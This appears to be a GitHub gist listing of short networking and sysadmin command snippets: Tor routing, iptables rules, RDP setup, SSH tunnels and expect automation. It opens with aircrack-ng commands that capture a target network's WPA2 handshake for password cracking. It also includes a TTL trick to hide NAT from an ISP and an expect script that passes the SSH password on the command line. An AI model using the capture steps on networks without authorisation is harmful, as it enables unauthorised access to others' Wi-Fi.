Skip to content

Instantly share code, notes, and snippets.

@jkullick
jkullick / aircrack-ng-wpa2-wlan-password.md
Last active February 12, 2024 17:46
Crack WPA2 WLAN Password with aircrack-ng
# Put WLAN device in monitoring mode
airmon-ng start wlan0

# Scan for access points
airodump-ng wlan0mon

# Capture WPA2 handshake, use $BSSID and $CHANNEL from previous scan
# Wait until airodump says 'WPA handshake: ...' in the upper right of the terminal, then press `Ctrl+c` to stop scanning
airodump-ng -c $CHANNEL --bssid $BSSID -w $CAPTURE_FILE wlan0mon
@jkullick
jkullick / mosh-iptables.md
Created September 1, 2016 13:13
Allow Mobile Shell (mosh) in IPTables
iptables -A INPUT -p udp --dport 60000:61000 -j ACCEPT
@jkullick
jkullick / transparent-tor-wlan-proxy-debian.md
Last active August 29, 2023 13:39
Transparent Tor WLAN Proxy on Debian

Install packages:

apt-get update
apt-get install hostapd udhcpd tor iptables-persistent

Disable WLAN interface:

@jkullick
jkullick / hide-nat-isp-linux-router.md
Last active January 16, 2023 12:18
Hide NAT from ISP with IPTables on Linux NAT Router
iptables -t mangle -A POSTROUTING -o eth0 -j TTL --ttl-set `cat /proc/sys/net/ipv4/ip_default_ttl`

Alternative:

iptables -t mangle -A POSTROUTING -o eth0 -j TTL --ttl-inc 1
@jkullick
jkullick / rdp-windows-servr-2012-powershell.md
Last active December 3, 2022 08:22
Enable RDP on Windows Server 2012 R2 with Powershell
# Enable RDP
set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0

# Allow RDP in firewall
Set-NetFirewallRule -Name RemoteDesktop-UserMode-In-TCP -Enabled true

# Enable secure RDP authentication
set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1   
@jkullick
jkullick / kali-linux-whonix-tor-kvm.md
Last active November 7, 2022 14:33
Kali Linux with Whonix Tor Gateway on KVM

Prerequirements

Connect to Host via SSH with tunneled ports:

ssh $USER@$HOST -L 5910:localhost:5910 -L 5911:localhost:5911

Whonix Gateway

  1. Download & Extract Whonix Gateway:
@jkullick
jkullick / route-traffic-through-tor-iptables.md
Last active October 25, 2022 18:33
Route all Traffic through Tor for specific User on Linux with IPTables
iptables -A OUTPUT -p icmp -j REJECT
iptables -t nat -A OUTPUT ! -o lo -p tcp -m owner --uid-owner $USER -m tcp -j REDIRECT --to-ports 9040
iptables -t nat -A OUTPUT ! -o lo -p udp -m owner --uid-owner $USER -m udp --dport 53 -j REDIRECT --to-ports 53
iptables -t filter -A OUTPUT -p tcp -m owner --uid-owner $USER -m tcp --dport 9040 -j ACCEPT
iptables -t filter -A OUTPUT -p udp -m owner --uid-owner $USER -m udp --dport 53 -j ACCEPT
iptables -t filter -A OUTPUT ! -o lo -m owner --uid-owner $USER -j DROP
@jkullick
jkullick / automate-ssh-password-login-script-expect.md
Last active June 25, 2022 18:03
Automate SSH Password Login in Scripts with Expect
  1. Create ssh_wrapper.exp:
#!/usr/bin/expect -f

eval spawn [lrange $argv 1 end]
expect "*?assword:*"
send [lindex $argv 0]
send "\r"
interact
@jkullick
jkullick / convert-serialized-php-json.md
Last active June 13, 2022 10:23
Convert Serialized PHP to JSON
cat $SERIALIZED_PHP_FILE | php -r 'echo json_encode(unserialize(file_get_contents("php://stdin")));'
@jkullick
jkullick / ssh-tunnel-cheat-sheet.md
Created August 4, 2016 13:46
SSH Tunnel Cheat Sheet
# $LOCAL_IP: 'localhost' or machine from local network
# $LOCAL_PORT: open port on local machine
# $REMOTE_IP: remote localhost or IP from remote network
# $REMOTE_PORT: open port on remote site

# Forward Tunnel: map port from remote machine/network on local machine
ssh -L $LOCAL_PORT:$REMOTE_IP:$REMOTE_PORT $USER@$SERVER

# Reverse Tunnel: make local port accessable to remote machine